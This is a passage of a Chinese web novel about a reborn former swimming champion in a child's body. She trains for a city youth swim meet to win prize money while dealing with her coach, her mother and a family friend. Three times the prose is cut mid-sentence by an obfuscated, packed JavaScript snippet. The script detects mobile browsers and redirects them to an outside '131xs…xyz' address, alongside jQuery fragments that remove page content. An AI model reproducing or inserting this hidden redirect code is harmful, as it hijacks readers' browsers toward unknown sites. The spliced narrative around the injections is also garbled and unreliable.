李诺霜没有上岸，她今天的200米一米都没游，不抓紧时间搞一搞，今天的任务完不成了。 岸上的三个老大难听着教练讲解的漂浮技巧，看着在水里像鱼一样舒展的李诺霜，难免露出羡慕的眼神。 “她怎么能游得这么开心，她都不怕水的吗？” 小胖墩戳了戳段宏宇，段宏宇无语问青天。 你问我，我问谁？ “我不知道。” “为什么不知道，她不是你妹妹？” 段宏宇脑门上冒出来个巨大的问号：“不是啊？你想的什么？” “你们不是一起来的么？” “她妈妈没空，我妈妈一块给她捎带过来了。” “哦，那你说我去问她怎么才能游泳游好，她会教我么？” “我可以把我的零食分给她。” 段宏宇欲言又止：“你自己去试吧。” 讲解完后，教练开始让所有人尝试俯卧漂浮，李诺霜游了个五十就上了岸，继续承担她的甩浮板工作。 三位老大难被教练单独拎走一对一辅导去了，她只用给旁边这些已经有点熟悉水的人垫浮板，工作量瞬间就少了不少。 一堂游泳课上下来，李诺霜感觉自己比教练还心累，她倒是挺喜欢小孩儿的，不然上辈子也不会最后读师范准备当老师。 问题是，她发现她好像只喜欢跟小孩儿玩，教人家东西她教不会，就好像那三位老大难在水里飘着挣扎，她看得只想挠头。 明明就会了，明明就不会沉，一个个的都在怕什么呀，要了命，她真不懂这些小孩的内心世界。 职业道路自此又被堵死一条，或许真的只有好好游泳一条路可以走了。 今天课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562890|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程的最后，李诺霜分别在岸上，以及下水拿浮板给所有人示范了一遍自由泳腿。 其他人看懵了，教练看急了，在岸上扯着喉咙大声喊：“腿不要打那么快，他们看不清，你给我慢点！” 李诺霜都推着浮板往前打了快十几米了，教练的呼唤她也没听到。 当然这也不怪她，她之前游短距离的，腿的频次一直很快。 她的冲刺阶段甚至都不止六次腿，巅峰时期能到八次腿。 自由泳中，主流打腿频次是二四六三种，实际情况是运动员会根据各自的身体素质以及技术条件进行调整，什么三次五次七次八次的都有。 但是，其实大部分人学习，是从六次腿开始的，它也是自由泳的重要基础技术之一。 这是因为自由泳手臂的划水动作可以大致分成三个阶段，抓水、内划和推水。 六次腿指的是两次划水之间做六次的打腿动作，正好是一个阶段做一次打腿的动作，这样对保持身体的稳定行以及动作的协调性都是有好处的。 所以，李诺霜被教练叫上来以后有点迷茫，她打的就是六次腿啊，怎么还嫌她快呢？ 陶正明被她梗了一下，然后无奈开始解释，解释半天以后李诺霜动了。 “教练，你就直接说让我按我自己游的时候两次腿的频率来就可以了嘛。” “嗯嗯嗯嗯，你重新来一遍，这次注意了啊，慢点，然后把腿部的位置调高一点，最好是原地打腿，不然你水下的动作他们看不清。” 李诺霜给教练比了一个OK的手势，重新做了一遍示范。 上岸以后，她看到其他人的眼神里还是迷茫，心中就有了一种不祥的预感。 事实证明，她的预感是正确的，教练让她趴在池边，把腿伸进水里，给大家做打腿的慢速示范。 人工0.25倍速确实非常地折磨人，而且还很累，非常地不连贯，让人感觉很别扭。 做完五分钟的示范，李诺霜感觉自己比当年上高原冬训被教练抓着做有氧储备还心累。 等陶正明终于宣布她的示范结束，其他人可以开始全部趴池子边开始做自己的打腿练习时，李诺霜简直如蒙大赦。 “教练，我今天还剩一百五，我现在去游了可不可以？” 陶正明也没忘记自己还把身家小小地在李诺霜身上压了个宝的事情，直接放人去游泳了。 李诺霜下水以后没忍住多游了一个50的自由泳，还是现在的状态舒服。 下课后，陶正明对李诺霜招招手，示意她过来。 “我这两天看你游得还是挺好的，十月份咱们市里有个青少年的游泳比赛，达标和前三都有相对应的奖金和奖品。” “你有没有兴趣去报个名试试？” 奖金？李诺霜立刻就有了兴趣。 “教练，奖金怎么发？” 陶正明感觉到自己已经摸到李诺霜的脉了，这孩子不知道为什么对钱特别感兴趣，一听有奖金这眼睛都亮了。 “既然你有兴趣，那我就详细跟你说说。” 11. 比赛 这次的市青少年比赛是计划外的比赛，主要原因还是上半年进行的省运会上青少年组的各项目成绩表现非常地令领导不满意。 本土作战，提前五个月熟悉的场馆环境，所有十四个市以及省体校一共组成十五个代表团进行参赛，全部项目青少年组别中，总计金牌数排名倒数前三。 这也和本地的体育环境有关。 本市在青少年组所有的项目表现都比较不佳，青少组所有项目拆开看单项，也没有几个逃出了倒数前三行列的。 成年组虽然奖牌数也不多，至少排名是在第七名，不在后半的行列。 本市的体校就没怎么行过，真正父母想送孩子走这条路的，稍微有点门路的就给孩子送到省会的体校去了，压根儿都不会留在本市。 反而是成年组，户籍没转就只能代表本市参加比赛，即使如此，省会在成年组的奖牌数也是第二名的两倍。 临时增加的青少年比赛只有一个目的，从没有被爹妈送去体校的人里划拉划拉，看能不能有点有天赋的，赶紧圈住了留在本市。 为了吸引家长送孩子来参赛，这次的比赛也是放出了重磅，每个项目的前三名小升初时可以直接进入本市最好的初中进行学习。 目前，市里最好的初中一共两所，一家是老牌名校，校史可以追溯到建国前的XX书院，需要进行提前的选拔考试。 达到择优生分数线入学，第一年有奖学金，学费全免。达到普招生分数线可正常入学，后续成绩好可以升为择优生。低于普招生的分数线0.5至5分内的学生，按照分数线档位交付5000-25000元不等的择校费，并且学费水平也与其他学生不同，后续学习进步后也无法成为择优生。 另外一所则是近年市里最好的高中为了留住优秀生源，避免生源流向省城的超级中学而成立的初中部，招生方案与前一所类似，包括赞助费。 唯一不同的是，这所学校还有一批协议生，家长在初三时签订协议，提前进行拔尖考试，通过后可以直接进入高中部的火箭班。 市里这次也是痛定思痛，直接从两个学校都要了一个体育班的名额，只要能在比赛中进入前三，直接进入体育班。 为这个，市里也承受了一定的压力，两所中学不爽，体校也很不爽，唯一开心的就是有希望从市体校抽调去两所体育班担任教练的老师。 这次的青少年赛，只有几个相对比较大的项目，田径游泳两个基础大项没得跑，三大球只有篮球，小球只有乒羽，再加上本省的优势项目举重体操。 这些杜绝了一些家长为了进好学校故意找冷门项目，并且各项目都有一个基础达标成绩，没到基础达标成绩，哪怕你是前三也一样进不去体育班。 但李诺霜对这些并不关心，她只关心奖金到底是多少钱，能让李凤兰回多少的血。 说是青少年赛，其实这次只面向全市的小学生开放，具体的年龄卡得倒是没有那么死。 在游泳项目上，也不像正归的游泳青少年比赛一样，会针对U10以下的组设置专门的全能比赛，只有四个单项全能，而且四个单项要都不需要附加200混。 每个泳姿设置50米和100米两个长度作为单泳姿全能的两个项目，一枪制，确保你能发挥出最好的实力。 例如你报自由泳全能，只需要游一个50和100，就完成了你的比赛。 而其他的面向更专业群体的青少年比赛，如果你是游自由泳全能，那么你需要比100,200,400三个自由泳，加上一个200混。 如果你是蛙泳全能，那就是100,200的蛙泳加上200自和200混，以此类推。 像这种纯粹只比一个泳姿的全能比赛已经是非常不多了。 听到陶正明说的比赛规则，再加上成绩达标奖金每项100，前三奖金300,500,800的数额，李诺霜感觉这就是一堆的钱在冲自己招手啊。 太舍得了，真的太舍得了，看起来今年省运会真的是面子上让县里太挂不住了，不然也不能让市里下这么大的饵钓鱼。 “教练，我有个小问题。” “什么？你问？” “一个人能报四个项目的全能吗？” 陶正明懵了一下，从未设想的道路啊这是。 “这个我真不知道，我回去帮你把文件找出来好好看看，明天再答复你你觉得怎么样？” “好的呢。” “不过我也要提醒你，报是可以报，但是你也要考虑体能的问题，正常你如果只报一项，可以两天游完两个距离的比赛。” “但是你要是报四个项目，那就得一天游两次，连游四天，这么高的比赛强度，就你现在的体能，肯定是完成不了的。” 对此，李诺霜完全觉得无所谓：“那我先报了再说嘛，到时候要是后面没力气了，游得慢一点，他也不会把我前面的奖都取消吧。” 话是这么说，李诺霜心里想的却不是这个，达标100第一800，一个泳姿900，四个泳姿3600。就看在这整整900块钱的份上，她的天残蛙都得抢救成正常蛙把钱给拿了。 回去就加强核心力量的训练，势必改变她小波娃频率慢得像高航式的悲惨现状。 陶正明还真有点无言以对了。 “还是认真准备准备吧，按照你现在的成绩和进步程度，达标应该没有问题，但是想要拿前三，不一定会游得过那些六年级的大孩子。” “如果确定报名，等这个9月1号开学，你每天都可以过来游泳，我给你指导一会儿，但是我要挂你的指导老师。” 挂不挂指导老师其实对李诺霜没什么太大的影响，顶多是她成绩好的话陶正明这边会有点奖励，但发给李诺霜的奖励是不会因此增加或者减少的。 “教练，我妈妈可能没时间帮我报名什么的，你能帮我报名吗？” “没问题。” 聊完了比赛的事，李诺霜就拿着陶正明今天给她结账的十块钱，换了衣服离开了游泳馆，毕竟朱美慧和段宏宇还在门口等她，不好让人家等太久。 出了门，一眼就能看到段宏宇端着两碗铁板炒土豆在门口等得望眼欲穿。 “太慢了吧也，你帮教练收浮板要这么久吗？” “我妈非让我等你过来一起吃， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562891|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁板土豆不趁热吃就不好吃了。” 说完，段宏宇把土豆往李诺霜手里一塞，迫不及待地开动了。 李诺霜其实很久都没有吃过这种放过比较多调味料的菜了，像这些路边摊里添加香辛料虽然是常见的调味料，但有一部分是可能导致药检出问题的来源。 她涨成绩最快的两年里被飞检的频率很高，几乎能达到一个月一次以上，本来队里不是没有队友偷偷摸摸买点小零食吃的，但是她是被严令禁止的，生怕她不小心吃了什么不该吃的零食正好倒霉撞上被飞检。 铁板土豆由丰富的调味料而激发的香味复杂而诱人，李诺霜夹起一块放进嘴里，咸香微麻带点辣的味道加上土豆软糯的口感，确实能让人感觉到非常快乐。 但这种快乐远无法和她曾经所感受过的快乐相比。 不出意外的话，比赛会在10月26号左右进行，她还有七十多天的时间来进行准备。 增肌比较有效的办法就是多吃高蛋白的食物，牛奶、虾这些就不用想了，牛肉可以一周多做一次让李凤兰给她打打牙祭，毕竟以前李凤兰有空的话，一周也会做一到两次牛肉。 鸡肉、猪肉、豆类、鸡蛋可以作为常吃的食材，好吃不贵，尤其是豆类，可以每天早上一杯豆浆，正好家里也有豆浆机，只不过李凤兰工作比较忙，买了以后用得不多。 李诺霜正边吃边想自己之后的食谱问题，冷不丁地前面开车的朱美慧突然问了她旁边的段宏宇一个问题。 “宇宝，霜霜以后给你做妹妹怎么样？” “啊？” 段宏宇只觉得晴天霹雳，他妈就真的这么想要个女儿吗？ “妈妈？真的一定要吗？” 李诺霜也是听得一愣，这都什么展开，她有妈妈的！ “宇宝，你是觉得妹妹哪里不好吗？” 这让人怎么回答，他也就是个感觉，感觉李诺霜有点奇怪，但是又不知道李诺霜到底奇怪在哪，解释不出来啊。 “你是不是觉得多了个妹妹就会分走一点妈妈对你的关心？但这个是相互的呀，妹妹的妈妈以后也是你的干妈，她也会像妈妈一样关心你的。” “你昨天不是还说么，要是我做饭能像李阿姨做的饭一样好吃就好了。” 段宏宇看起来是没懂发生了什么，但李诺霜懂了。 不知道昨天到今天之间李凤兰和朱美慧聊了什么，总之现在两家应该是准备结个干亲。 她是没什么意见的，朱美慧这两天相处下来感觉人不差，认了干亲也就是平时多个亲戚家走动而已。 让她选，去见老太婆，或者去见朱美慧，那肯定是去见朱美慧。 去见老太婆，她是去当仆人，去见朱美慧，虽然肯定不至于当公主，但至少她能正常做个小孩儿。 不用承担一家子油花儿满溢的碗的洗碗工作，不会因为多挤了半颗黄豆大小的洗洁精被骂赔钱货就知道败家，也不用趴地上一块瓷砖一块瓷砖地擦地搞卫生，更不用因为大过年的只有自己和妈妈到了，被关在门外喝西北风，再听人假惺惺地说什么‘不好意思啊里面打牌有点吵’之类的鬼话。 挺好。 12. 报备 车上朱美慧说的话，好像只是随口一提，两边都没有在继续这个话题。 李诺霜觉得，或者是段宏宇的反应太大了，让两边家长觉得不太必要继续这个想法？ 多不多一个干妈，日子都得一样的过，李诺霜的体能计划正在有条不紊地进行当中。 李凤兰对于她想吃什么一贯都是乐于满足的，尤其是李诺霜提的豆浆，鸡蛋这些都是健康食品，要吃就买。 楼下的各种小餐馆李诺霜最近很少去光顾了，李凤兰最近还是一样的忙，但她可以自己做饭。 要多好吃，那肯定好吃不到哪里去，但是包熟，不糊，口感什么的就看运气了。 提炒锅和炒菜还锻炼手劲，简直是一举两得。 在家炒菜第八天，李诺霜终于被李凤兰发现了会做饭的这个事实。 李凤兰尝了一下她做的菜，努力了，但是没有夸得出好吃。 李诺霜心知肚明肯定跟好吃这俩字不沾边，因为她炒菜不放其他调料，盐还放得贼少，李凤兰是秉持着当地特色爱吃辣的那种，肯定是不合她口味的。 但是，她还是要一脸期待地看着李凤兰：“妈妈，好吃不好吃，我厉害不厉害？” “我看着电视里面的师父炒菜，我就学会了。” “挺好的，还可以，妈妈在公司吃过饭了，霜霜要妈妈帮忙吗？” 李诺霜非常有骨气地拒绝了：“妈妈你去休息吧，上班一天辛苦啦，我可以自己做饭自己收拾自己洗碗的。” 李凤兰确实累坏了，迈着沉重的步伐换了身睡衣后躺在沙发上睡着了。 李诺霜把自己的晚餐捣鼓完，吃饭前先扯了床小毛毯给李凤兰盖上，这才开始今天的晚餐。 吃完饭，李诺霜下楼走了两圈消个食，然后回房间开始写自己的暑假作业。 不是她白天不刻苦，白天她都练体能拉伸加练字去了，确实没顾得上暑假作业。 暑假作业经过她这一周每天晚上的努力，剩得也不多了，就三十篇日记。 只能说，日记这个东西是真的磨人，六十篇日记，哪有那么多东西可以写啊？ 不对，应该是，正经人谁写日记啊？ 两个月前如果有人问李诺霜什么事情最折磨人，她可能会回答复健，可能会回答写论文，这两件事对她来说是不分上下。 现在她有了新的答案，写日记，每天一篇日记，还是那种要交上去给老师看的日记。 前三十篇已经把她的脑子给掏空了，剩下这三十篇，李诺霜实在没什么办法，准备写三十篇食谱交上去。 今天我跟妈妈学习了做菜，妈妈说让我做一道炒鸡丝，炒鸡丝首先要去菜市场买一只鸡……这样一道炒鸡丝就做好了，我尝了一口，真好吃呀。 今天我跟妈妈又学了一道新菜，妈妈教会我的是炒肚丝，炒肚丝首先要去菜市场买一个猪肚…… 完成暑假作业，主要靠一些模板，希望老师看到她糊弄出来的后三十篇日记，能看在她写的字数多的份上不批评她。 总比哈一版和一根两根数了一页纸的要强吧。 再说了，她一个学游泳的，日记里带点水分，这不是很正常的事情么？ 奋斗完两篇日记，今天晚上的工作差不多到此为止，李诺霜准备洗澡睡觉。 本来她纯写日记还是能快不少的，但她现在是拿日记当练字的素材在写，自然每个字就写得慢了不少。 走出去到客厅，李诺霜才发现李凤兰不知道什么时候已经醒了，在客厅的桌子上整理资料。 看她出来，李凤兰冲她招招手，示意她走过去。 李诺霜坐过去坐下，好奇地看了一眼桌上的东西一眼，是合同。 “霜霜，妈妈想跟你一起搬个家，你觉得怎么样？” 搬家？ “搬去哪里呀？” “搬去你学校附近，这样你早上上学，就只要走四五分钟了，还不用过马路，你觉得怎么样？” 李诺霜心里默默盘算了一下，她学校离游泳馆更近，到时候走过去就只用七八分钟的样子，整挺好。 “那我以后早上是不是可以多睡十分钟了？” “是的呀，你以后多睡二十分钟都不用担心会迟到。” “嘿嘿嘿，那就搬家，我爱妈妈。” 李凤兰笑着刮了刮她的鼻子：“你游泳学了也快十天了，学得怎么样？” “朱阿姨说你在那边表现还挺好的，教练也喜欢你，让你给他当小帮手来着。” 这事啊，李诺霜准备先糊弄，再抛事。 “我也不知道好不好，但是游泳好像不是很难。” “然后教练上次跟我说，十月份有个游泳比赛，好像说拿到名次就可以确保初中的时候去三中或者德益的体育班上学，问我要不要去比一下试一试。” 关系到上初中的事，李凤兰文件也整理不下去了：“教练什么时候跟你说的，这个消息确定吗？” 李诺霜歪歪头：“就前几天啊，我帮教练整理浮板的时候教练说的。” “我也不知道能不能去，教练只说让我去锻炼锻炼。” “他说我年纪小，学游泳的时间也晚，不一定比得过六年级的那些大孩子，但是去试一试体验一下也挺好的。” “教练说我今年游不过，明年后年努努力，还是很有希望拿个名次的。” 李诺霜说的没几句是实话，比如今天陶正明就给她测了一下，一分二十秒左右，超过了三级运动员的标准。 陶正明对这个成绩感觉到挺惊喜的，但李诺霜只觉得自己拉跨得厉害，她上辈子七岁多的时候自由泳直接就进了二级标准的1分13秒0，八岁的时候已经在努力冲一级。 九岁多的时候她去比了省运会，少年组仰泳全能和自由泳全能的双冠军，成绩拉到乙组（十三、十四岁）也能夺冠，所以直接被省队要过去一起训练了。 但也是这段经历，让李诺霜明白了有一个好教练的重要性，游泳项目中，除非本省没有有资格参加国家队集训的教练，否则都是跟本省的教练比较多。 她的第一个教练就是本省的教练，但并没有入选国家队集训的资格，所以她作为试训队员入选时，只能跟着别的省的有集训资格的教练一起训练。 因为她不是自己的队员，教练首先就不了解她的情况，其次也没有像教练组里那些从小带到大的运动员一样亲近。 而且教练年纪也不小了，当时就有五十来岁了，说话带方言口音，有时候教练自己组里的重点运动员忙完了以后来给她点技术动作，她还因为口音问题听得半懂不懂的。 总之这年她集训的效果不好，但是开拓了眼界是真的。 她还挺幸运的，因为组里有个人特别好的世界冠军，虽然是冠军，但是人家也没什么架子，有时候看她听不懂教练说话，还会主动解释给她听。 并不是所有的大队员都会愿意搭理像她一样的小试训的，每年试训的运动员会有几十个，里面能在全国赛事中上领奖台的都不是特别多，更别说出国见世面了。 所以人家对她好，真的就只是她运气好，碰到了好人。 或许这就是春天般的温暖吧。 然而温暖没啥用，因为她成绩提升幅度不高，训练效果不好，试训失败，只能打道回府。 当然她也不是啥也没带回去，她给省队的哥哥姐姐们带回去了一点土特产——有冠军签名的泳帽，后面是都被他们抢完了，只剩她自己珍藏的一个还保留着。 退役的时候这个泳帽被她送给了同教练组游混合泳的一个小妹妹，希望这个妹妹以后能有好成绩吧。 所以说，她现在还在三级打转，别说往外国泳坛跟那些个天才少女比了，就是比她自己，那也是远远不如的。 当然，存在一定的客观因素，就是这具身体正式训练的时间不长，除了技术是她带过来的以外，身体素质这些都远远不如，能到现在的标准，已经是技术弥补了身体劣势的体验了。 也是因为这点，她现在四项泳姿里相对成绩最好的居然是她上辈子天残的蛙泳。 或许是因为现在的水感确实天生就更好一点，所以她选择了单次划水实效更好的高航式，频率这事短时间内确实求不来。 转成高航式以后，她频率就更慢了，但是通过每次划水的实效性进行了一定的补偿，综合起来成绩比她游小波蛙的时候更好一点。 她现在50蛙居然能拉到42秒左右，这是什么概念，50蛙的二级标准也就41秒，说明她再练练可能是蛙泳最先突破到二级标准。 但是她的100蛙不咋地，因为她其实现在游高航式体能还是不够，到40米左右速度就开始掉，在再转个身过来速度开始狂掉。 她上次特意测了一次100蛙的分段，前50整挺好，44稳定发挥，后50米直接拉得没眼看，分段接近1分钟了，最后的总成绩1分43秒多，刚好挂住三级的边。 上岸以后真是给她累得够呛，感觉身体被掏空。 针对这一点，陶正明倒是给她提了个不知道可行不可行的方法，让她先这么练着，要是到9月底的时候效果还不明显，就直接试试前50高航式，后50小波娃的方法。 这方法真的很诡异，但是好像诡异中又带着那么一点点的合理性，但不到万不得已，李诺霜并不准备用这个方法。 没别的，怕自己到时候技术动作给游串了，两种虽然都是蛙泳，但是配合的差距还是挺大的，蛙泳又是很讲究技术协调性的一种泳姿，别到时候玩花的把自己给玩进去。 李凤兰在听到李诺霜说取得名次可以直接进三中和德益的时候，心中就被喜悦两个字直接填满了。 那可是三中和德益啊，全市最好的初中，多少孩子为了考进去，又是学奥数又是学英语又是报各种特长班的？ 现在，一条笔直大道摆在她面前，只要她继续送孩子学游泳，就有希望直接进。 这比赛得参加，必须要去参加。 不过，在此之前，她得好好打听打听这个比赛是不是真的取得了名次就能进初中。 还得在不那么忙了之后抽空去见见李诺霜游泳班的这个教练，让他多关照关照李诺霜。 “参加比赛好啊，哪怕不能取得名次，长长见识也是好的。” “教练有跟你说要做什么准备吗？你这个游泳的泳衣和泳帽泳镜什么的是不是不太行啊，用不用妈妈拜托你朱阿姨带你去买套新的？” 又买？李诺霜赶紧拒绝。 “不用了不用了，教练说如果我能在比赛里达标，他会额外奖励我一套好的泳衣。” “而且我还会长高的呀，泳衣应该和衣服一样，穿不了多久就需要换的。” 实际上，李诺霜目前的成绩是全部达标的，因为是面对全市小学生的比赛，实际上的达标标准定得跟三级运动员的标准差不多，个别项目有所调整而已。 所以，她现在可以说已经确定了四百块钱的到手，剩下的三千二能赚多少，就看她这两个月努力的结果。 “妈妈，教练还说了，让我9月开学以后每天去游泳馆里面游一个小时，为比赛做准备，所以我放放学后要晚回家了。” “游泳馆离你们学校也不是很远，但是要过马路啊，要不妈妈每天下午送你过去吧？” “不用的妈妈，教练说他每天过来学校接我，除了还要接三个同学一起去游泳。” 这段时间，除了李诺霜，陶正明也物色到了三个可以参加比赛的人，一个是上午的游泳班里的学员，因为学习的速度快被选中。 和原本就会的李诺霜不同，这个人是原本没学过游泳的，但是现在其他人还在复习巩固划手，他已经可以游出去十几二十米了，进度十分不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562892|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有两个是来游泳馆里游着玩的人，因为速度相对比较快，并且动作也不算特别不标准被陶正明看中。 当然，陶正明最大的宝还是压在李诺霜身上，但鸡蛋也不能放在一个篮子里，一个游泳教练也不会只带一个运动员，所以他又另外物色了这仨。 李诺霜和其他三个人都见过面了，因为上午班的那个人被调到了她现在在的这个下午班，另外两个人也可以在这个时间段过来游，陶正明给他们都互相介绍了一下。 开学后，三个人就会在一起进行重点训练了，到时候就不只是像现在一样只是自己游泳，还会有一系列的针对教学内容。 比如说带脚蹼，夹浮板游，以及一些这个年龄阶段能承受的体能训练等。 跟李凤兰说了比赛的事情，李诺霜也放了心，到时候她往家里拿钱就有正大光明的理由了。 除了游泳，李凤兰还问了她有关学习和练字的问题，还查了她几项作业。 作业基本都是李诺霜穿过来之后写的，所以李凤兰看得挺满意，觉得女儿最近在学习上也用心了，十分欣慰。 等李诺霜洗完澡进房间睡觉，就听到李凤兰在给人打电话的声音，具体是什么，李凤兰站在门外楼梯上她没太听清楚，就听清楚一句。 “麻烦你去打听了，实在谢谢。” 打听？打听什么？ 第二天，李诺霜就明白了。 原来昨天李凤兰打电话还是为了打听这个比赛的事情，不光打听，她还跟朱美慧进行了及时的交流。 要不说俩人是好闺蜜呢，就这种涉及初中学位的问题，多的是家长先把自己家孩子的事情解决了以后，再卡着deadline跟别的家长说的。 又在人家面前卖了个好，还不给自己家孩子增加竞争对手，到头来还会跟你说一句，哎呀可惜了呀，你要是早点准备其实是很有希望的呀。 下午，李诺霜照例收拾好东西等朱美慧过来接她，上车以后直接就看到了一个喜形于色的段宏宇。 这人今天怎么回事，怎么突然高兴成这样？ 不过李诺霜的好奇心也没有特别强，段宏宇自己不说，她也不会去问。 反而是朱美慧先问了她问题。 “霜霜，听你妈妈说，教练准备让你报名去参加市里十月份的那个小学生运动会？” 李诺霜懵了一下才反应过来，哦，比赛改名了。 “如果是10月24号开始的那个，应该就是了。” “教练什么时候跟你说的呀。” “阿姨没有发现我们班多了三个人么，就是这三个人过来的时候教练说的呀，教练让我们回去问家里爸爸妈妈的意见。” “我昨天才等到妈妈在我没写作业的时候回家，就跟妈妈说了。” “那霜霜你有没有信心在这个比赛里面拿到奖励啊？” “我看你好像游得还挺快的。” 这事，谁又说得准呢？ “我也不知道，教练不跟我说这个，怕影响我的训练效果，他只告诉我市里面这次说不定有高手参加，让我训练努力一点。” “加油哦，阿姨等你的好消息。” 李诺霜点点头，没有再分散朱美慧开车的注意力。 而另外一边，段宏宇的兴奋已经掩饰不住了。 “我今天太高兴了，你猜是为什么？” 李诺霜很想怼一句，你出院了？但想到他还是个小孩子，算了，放他一马不怼他。 “我不猜。” “你不猜我也要说，我妈妈说等开学以后我就不用来游泳了，我终于可以去打羽毛球了。” “游泳真的不好玩，岸上做准备动作的时候晒得我都黑了不少，这几天学划水什么的，我又喝了不少水。” “要不是游泳馆门口好吃的多，我才不来了呢。” 说起晒黑，李诺霜顺便就比较了一下自己和段宏宇的肤色。 虽然她现在也在脖子手腕脚踝这几块儿略微被晒出了点分界线，但是长款泳衣还是很有用的，手臂的肤色还是白的。 尤其在段宏宇的衬托下，就显得她更白了，针不戳。 “我妈说，这次比赛体校的不让参加，市里专业学过羽毛球的人不多，要是我抽签的运气好一点，说不定都有希望直接进决赛。” “你知道我之后要跟哪个教练学习吗？童小亮教练，童小亮教练以前都是在省队的，他带过世界冠军啊，我现在就是世界冠军的师弟了。” 这娃现在确实挺美的，但这种程度的炫耀对李诺霜无效。 她还成过世界冠军呢，虽然是短池世锦赛，认可度和知名度没有长池高，就更别说跟奥运会比了。 不过，她还是勉强鼓了个掌，她能看出来段宏宇最近是被学游泳打击得有些扭曲，想找点场子回来。 “哦，挺好的。” 段宏宇还没来得及被自己没秀到人表示出不满，朱美慧就给了他沉痛一击。 “宇宝，妈妈和爸爸帮你拜托童教练带你训练，是想让你有更好的训练基础，可不是为了让你在妹妹面前炫耀的。” “给妹妹道歉。” 就是个爱现的小孩儿而已，道歉倒是不必了。 段宏宇蔫吧地给李诺霜道了个歉，然后又恢复了元气。 “咱俩比一比，看我们两个谁在这次比赛的排名更高，你觉得怎么样？” 阿这？这不是上门送的么？ “你确定？我可是有四个项目四次机会，你就一次机会，你确定要跟我比？” “当然了。” “我赢了你有什么好处吗？” “你，你赢了我，我妈妈收你当干女儿，我就不捣乱了！” “这是好处吗？你捣不捣乱也不影响你妈妈收不收我，只会影响你挨骂不挨骂。” 好像也是，段宏宇还真被问住了。 13. 集中训练 段宏宇支支吾吾了半天，又想跟李诺霜比一次，又想不出什么让李诺霜一定要跟他比赛的理由。 看他在旁边急得直挠头，李诺霜还觉得挺好笑的。 朱美慧到底还是明白儿子：“宇宝，你是不是这几天学游泳学得不好所以觉得没有面子？” 段宏宇嘴上确实没承认，但是表情很明显就是被说中了的样子。 “霜霜和你又不是一个项目，你们面对的对手也不相同，并不能一起互相比较。” “就好像学习一样，你们两个人的学校期末考试的试卷不一样，所以你们两个人的分数也不能放在一起作为类比。” 段宏宇突然燃起了希望：“你上个学期期末考试多少分！” 李诺霜斜瞟他一眼，回答得毫无压力：“我成绩不好，你赢了。” 虽然是赢了，但段宏宇就好像一拳砸在棉花上了一样难受，完全没有享受到比较胜利的快乐。 很快，车就开到了游泳馆的门口，段宏宇失魂落魄地下了车，不复刚来时的快乐。 今天教练并没有直接叫他们下水游泳，而是让他们先去仓库里把东西取个东西，然后带着东西到旁边的阴凉处等他。 取回来以后李诺霜顺手就打开看了一眼，嚯，老朋友了。 按照前辈们总结出来的经验，竞技游泳是快速力量和力量耐力相辅相成的一个项目，因此力量训练在陆地部分的训练中占一个比较重要的部分。 当然了，李诺霜在家的时候也是在做这方面的训练，但是她家里确实没有什么比较专业的训练材料，所以只能就地取材做一点侧卧起、跳台阶、立定跳以及有氧跑等。 陶正明让他们准备的就是弹力带，有一根绳子一样的一条长的，也有形状做成了一个环的。 这东西用这确实方便，带状的往一个固定的东西上一系，用单手或者双手拉着开始做移臂的练习。 而环状的弹力带可以用来练腿和其他部分的肌肉。 虽然现在看起来最优希望的是蛙泳，但是李诺霜时刻不忘仰泳老本行，弹力带往旁边的栏杆上一系，直接就开始仰泳的移臂练习了。 这个弹力带其实不是给他们这个年纪的人准备的，磅数有点大，至少目前是不太适合李诺霜。 她现在的力量不咋地，拉这个弹力带有点勉强，因此做的时候表情上难免就有点龇牙咧嘴。 其他三个人又好奇又好笑地看她做这些动作，李诺霜不介意这种围观，专注地做自己的训练。 每个动作都完全做到位对现在的她而言还是有点困难的，主要还是力量不够。 李诺霜选择往前挪动了一下脚步，让自己需要发力的距离变短，但是保证自己每一次的动作是标准的，并且每做一次会给到自己充分的休息时间后再进行下一次。 所以在外人看来，她不像在训练，更像在玩这个绳子。 教练安排了五分钟的岸上划水动作复习，然后准备给四人布置一下训练任务。 过来一看，李诺霜已经先练上了。 陶正明仔细观察了一下李诺霜的动作，发现她确实练得没什么问题，顿时就感觉有些挫败。 这孩子，基本不太用他教什么啊，游泳不用教，现在居然连陆地的体能训练也不用教了。 “你什么时候会用这个训练的？” 李诺霜肯定是不会承认的：“啊？没有训练啊，我就是看到这个绳子好像有弹力的样子，所以用来拉一拉。” “教练，这个圈圈一样的绳子要怎么玩，套呼啦圈一样吗？” 陶正明的挫败消失了，你看果然还是有不会的嘛，轮到他这个教练出场了。 